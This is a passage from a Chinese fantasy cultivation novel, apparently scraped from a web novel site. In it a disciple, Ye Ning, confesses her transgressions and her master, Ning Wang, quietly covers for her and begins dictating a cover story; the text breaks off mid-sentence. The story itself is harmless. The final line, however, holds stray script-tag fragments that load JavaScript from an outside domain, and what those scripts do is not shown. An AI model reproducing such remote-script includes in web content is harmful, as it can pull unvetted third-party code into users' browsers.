叶凝只当没看见,一一数着这些天自己犯下的错。
从自剜灵骨,到将其弄丢,从夜闯揽月阁,到不知死活与戾气大战。
桩桩件件,事无巨细。
这会儿,倒教宁妄有些意外了。
叶凝性子看似柔弱,任谁都能欺负,骨子里却是又倔又犟。
每每在外受了欺负,都将委屈压在心底,同谁也不说,只拼了命地练习法术,日夜不休。
可奇怪的是,无论如何努力,她的修为一直停留在筑基,始终无法突破到下一境界。
起先,宁妄只觉得她根骨不佳,直到一次替她疗伤,才发现她体内有股力量封印了灵脉。
这股力量并非仙妖之力,他不知其为何物,也无法将其破解。
怪异之物,常被世人所不容。
为了保护叶凝,宁妄选择了沉默,以根骨不佳为借口,搪塞了整个宗门。
少女絮絮叨叨的声音终于停下。
她坐在床榻边缘的光影下,垂着头并看不清神色,只瞧见那双端在胸前的手不停绞着袖角,似乎在等待惩罚。
宁妄闭了闭眼,良久,略显无奈道:“罢了。”
叶凝惊讶地抬头看了他一眼。
这还是她师尊么?
有错不罚,轻描淡写“罢了”二字便就此揭过?
说不欣喜是骗人的。
但她此刻根本不敢泄出半分情绪。
这种得了便宜之事,自然要等师尊离开后再偷偷乐,万不能教他察觉了再后悔。
想到这儿,即便心中欣喜万分,眼底的惊讶也只存续了片刻,之后,叶凝便敛起所有情绪,重新垂下头。
安安静静地等他离开。
宁妄却没走。
不仅没走,甚至还坐回案几旁,给自己斟了盏茶,慢条斯理地喝了起来。
桌案上有一只鸟雀模样的紫金香炉,此刻正燃着香,丝丝缕缕的烟气从缝隙中溢出,在天光下袅袅上浮。
叶凝便隔着纱绢屏风望着。
等到炉中香粉燃尽,宁妄淡淡的声音才混着沉水香的余味飘来。
“阿凝,本尊接下来的话你要记住。揽月阁那晚,是本尊及时赶到,清除戾气,你被戾气伤及心脉,重伤昏迷。”
“此外,你的灵骨并未丢失,你送给楚芜厌的锦盒里装的是南洋灵珠,无论谁来问,
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">